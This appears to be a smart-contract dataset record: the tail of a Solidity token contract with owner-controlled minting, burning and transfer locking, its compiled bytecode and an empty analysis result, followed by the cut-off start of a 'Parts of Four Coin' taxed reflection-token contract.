event SetICO(address indexed _ico);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event UnlockToken();
event LockToken();
event Burn();
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event addedToVestedlist(address indexed _vestedAddress);
event removedFromVestedlist(address indexed _vestedAddress);
bool public mintingFinished = false;
bool public locked = true;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTransfer() {
require(!locked || msg.sender == owner || msg.sender == ico);
_;
}
modifier onlyAuthorized() {
require(msg.sender == owner || msg.sender == ico);
_;
}
constructor(string memory _name, string memory _symbol, uint8 _decimals) public {
require (_decimals != 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = 3000000000000;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyAuthorized canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(this), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyAuthorized canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require (!isVestedlisted(msg.sender));
require(_value <= balances[msg.sender]);
require (msg.sender != address(this));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function burn(address _who, uint256 _value) onlyAuthorized public returns (bool){
require(_who != address(0));
totalSupply = totalSupply.sub(_value);
balances[_who] = balances[_who].sub(_value);
emit Burn();
emit Transfer(_who, address(0), _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFromERC20Contract(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[address(this)]);
balances[address(this)] = balances[address(this)].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(this), _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function unlockToken() public onlyAuthorized returns (bool) {
locked = false;
emit UnlockToken();
return true;
}
function lockToken() public onlyAuthorized returns (bool) {
locked = true;
emit LockToken();
return true;
}
function setICO(address _icocontract) public onlyOwner returns (bool) {
require(_icocontract != address(0));
ico = _icocontract;
emit SetICO(_icocontract);
return true;
}
/**
* @dev Adds list of addresses to Vestedlist. Not overloaded due to limitations with truffle testing.
* @param _vestedAddress Addresses to be added to the Vestedlist
*/
function addToVestedlist(address[] memory _vestedAddress) public onlyOwner {
for (uint256 i = 0; i < _vestedAddress.length; i++) {
if (vestedlist[_vestedAddress[i]]) continue;
vestedlist[_vestedAddress[i]] = true;
}
}
/**
* @dev Removes single address from Vestedlist.
* @param _vestedAddress Address to be removed to the Vestedlist
*/
function removeFromVestedlist(address[] memory _vestedAddress) public onlyOwner {
for (uint256 i = 0; i < _vestedAddress.length; i++) {
if (!vestedlist[_vestedAddress[i]]) continue;
vestedlist[_vestedAddress[i]] = false;
}
}
function isVestedlisted(address _vestedAddress) internal view returns (bool) {
return (vestedlist[_vestedAddress]);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806395d89b41116100de578063b6f50c2911610097578063cf30901211610071578063cf30901214610918578063d73dd62314610938578063dd62ed3e1461099c578063f2fde38b14610a145761018e565b8063b6f50c2914610844578063bca7a9e21461089e578063c33de793146108be5761018e565b806395d89b4114610555578063971f37e8146105d85780639dc29fac14610690578063a3e67610146106f4578063a9059cbb14610728578063b075ea3e1461078c5761018e565b806323b872dd1161014b5780636618846311610125578063661884631461044557806370a08231146104a95780637d64bcb4146105015780638da5cb5b146105215761018e565b806323b872dd1461033c578063313ce567146103c057806340c10f19146103e15761018e565b806305c82a151461019357806305d2035b146101f757806306fdde0314610217578063095ea7b31461029a57806318160ddd146102fe57806318a24b5b1461031c575b600080fd5b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a58565b60405180821515815260200191505060405180910390f35b6101ff610d3b565b60405180821515815260200191505060405180910390f35b61021f610d4e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025f578082015181840152602081019050610244565b50505050905090810190601f16801561028c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e6600480360360408110156102b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dec565b60405180821515815260200191505060405180910390f35b610306610ede565b6040518082815260200191505060405180910390f35b610324610ee4565b60405180821515815260200191505060405180910390f35b6103a86004803603606081101561035257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fe5565b60405180821515815260200191505060405180910390f35b6103c8611467565b604051808260ff16815260200191505060405180910390f35b61042d600480360360408110156103f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061147a565b60405180821515815260200191505060405180910390f35b6104916004803603604081101561045b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116b4565b60405180821515815260200191505060405180910390f35b6104eb600480360360208110156104bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611945565b6040518082815260200191505060405180910390f35b61050961198e565b60405180821515815260200191505060405180910390f35b610529611aa9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61055d611acd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059d578082015181840152602081019050610582565b50505050905090810190601f1680156105ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61068e600480360360208110156105ee57600080fd5b810190808035906020019064010000000081111561060b57600080fd5b82018360208201111561061d57600080fd5b8035906020019184602083028401116401000000008311171561063f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611b6b565b005b6106dc600480360360408110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d1f565b60405180821515815260200191505060405180910390f35b6106fc611f58565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107746004803603604081101561073e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f7e565b60405180821515815260200191505060405180910390f35b610842600480360360208110156107a257600080fd5b81019080803590602001906401000000008111156107bf57600080fd5b8201836020820111156107d157600080fd5b803590602001918460208302840111640100000000831117156107f357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506122b3565b005b6108866004803603602081101561085a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612466565b60405180821515815260200191505060405180910390f35b6108a66125f1565b60405180821515815260200191505060405180910390f35b610900600480360360208110156108d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126f2565b60405180821515815260200191505060405180910390f35b610920612712565b60405180821515815260200191505060405180910390f35b6109846004803603604081101561094e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612725565b60405180821515815260200191505060405180910390f35b6109fe600480360360408110156109b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612921565b6040518082815260200191505060405180910390f35b610a5660048036036020811015610a2a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129a8565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5657600080fd5b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610ba257600080fd5b610bf482600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600a60009054906101000a900460ff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de45780601f10610db957610100808354040283529160200191610de4565b820191906000526020600020905b815481529060010190602001808311610dc757829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f8e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610f9757600080fd5b6000600a60016101000a81548160ff0219169083151502179055507f70f18bcde0ec5e70a6b75212912eb91efc54a2c235186a6bf95d4d28b128741660405160405180910390a16001905090565b6000600a60019054906101000a900460ff16158061104e575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806110a65750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6110af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110e957600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561113557600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156111be57600080fd5b61121082600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a582600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061137782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115245750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61152d57600080fd5b600a60009054906101000a900460ff161561154757600080fd5b61155c82600454612c5290919063ffffffff16565b6004819055506115b482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117c5576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611859565b6117d88382612bc990919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a385750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611a4157600080fd5b600a60009054906101000a900460ff1615611a5b57600080fd5b6001600a60006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b635780601f10611b3857610100808354040283529160200191611b63565b820191906000526020600020905b815481529060010190602001808311611b4657829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b60005b8151811015611d1b5760096000838381518110611c4857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ca257611d0e565b600160096000848481518110611cb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080600101915050611c2f565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611dc95750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611dd257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e0c57600080fd5b611e2182600454612bc990919063ffffffff16565b600481905550611e7982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f396ed0ab6cc27459695a5d29409f1357ff85a6b958ca216959d886d23a89949b60405160405180910390a1600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60019054906101000a900460ff161580611fe7575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061203f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61204857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561208257600080fd5b61208b33612cda565b1561209557600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156120e157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561211a57600080fd5b61216c82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061220182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612374576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b60005b8151811015612462576009600083838151811061239057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123e957612455565b6000600960008484815181106123fb57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080600101915050612377565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461252a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561256457600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167fb5f88643261aefc17fb9561acc4fc17bd7bee319b08cc7abb04b552339593e1b60405160405180910390a260019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061269b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6126a457600080fd5b6001600a60016101000a81548160ff0219169083151502179055507f481e27d43fb74b96540bf6eb1011042665ae9040107d556002cb2796a9a9867560405160405180910390a16001905090565b60096020528060005260406000206000915054906101000a900460ff1681565b600a60019054906101000a900460ff1681565b60006127b682600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612b0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f416464726573732073686f756c646e2774206265207a65726f0000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115612c41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015612cd0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905091905056fea264697066735822122086f2f36d66ab9813e6e5c32cb28788e283e972059323d845c0364e6668f456e964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,572 |
0x8037b1b69d6fa63a9cc053c25f7e168e6e6d857a
|
/**
*Submitted for verification at Etherscan.io on 2021-11-10
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
/// @title Parts of Four Token
contract P4CToken {
string public constant name = "Parts of Four Coin";
string public constant symbol = "P4C";
uint8 public constant decimals = 18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/// @notice The block number this contract was created in. Stored here so web3 scripts can easily access it and use
/// @notice it to scan for InternalTransfer and NewRedistributedSupply events
uint256 public immutable creationBlock;
/// @notice This determines whether the 3% is deducted from transactions.
bool public deductTaxes = true;
/// @notice The original supply of P4C.
uint256 public constant originalSupply = 4_000_000_000_000e18;
/// @notice The current supply of internal P4C. This goes down when funds are burnt, as well as when supply is
/// @notice redistributed.
uint256 public totalInternalSupply = originalSupply;
/// @notice This is the internal supply held in non-excluded addresses.
uint256 public internalSupplyInNonExcludedAddresses;
// @notice This 1e18 times a factor that adjusts internal balances to external balances. For example, if an account
// @notice has an internal balance of 1e18 and this factor is 1.5e18, the external balance of that account will be
// @notice 1.5e18.
uint256 public adjustmentFactor = 1e18;
// @notice The owner of the contract, set to the address that instantiated the contract. Only `contractOwner` may
// @notice add or remove excluded addresses.
address public immutable contractOwner;
// @notice This is a list of excluded addresses. Transfers involving these addresses don't have the 3% tax taken out
// @notice of them, and they don't receive token redistribution (ie. their balances are adjusted downwards every
// @notice time `adjustmentFactor` is increased.
address[] public excludedAddresses;
// @notice A map where addresses in `excludedAddresses` map to `true`.
mapping (address => bool) excludedAddressesMap;
// @notice This is a mapping of addresses to the number of *internal* tokens they hold. This is *different* from the
// @notice values that are used in contract calls, as those are adjusted by `adjustmentFactor`.
mapping (address => uint256) public internalBalances;
// @notice This event is emitted when tokens are transferred from `_from` to `_to`. `_internalSentValue` is the
// @notice number of internal tokens transferred *before* any fees are deducted (ie. the recipient will actually get
// @notice 3% less unless `_from` or `_to` is an excluded address).
event InternalTransfer(address _from, address _to, uint256 _internalSentValue);
// @notice This event is fired when an excluded address is added.
event AddedExcludedAddress(address _addr);
// @notice This event is fired when an address is removed from the excluded address list.
event RemovedExcludedAddress(address _addr);
// @notice Called when deduct taxes setting is changed.
event SetDeductTaxes(bool _enabled);
// Token authorisations. `_authorisee` can withdraw up to `allowed[_authoriser][_authroisee]` from `_authoriser`'s
// account. Multiple transfers can be made so long as they do not cumulatively exceed the given amount. This is in
// *EXTERNAL* tokens.
mapping (address => mapping (address => uint256)) allowed;
constructor() {
creationBlock = block.number;
contractOwner = msg.sender;
addExcludedAddress(msg.sender);
internalBalances[contractOwner] = originalSupply;
}
/// @notice Derive an external amount from an internal amount. (This will return a different result every time it's
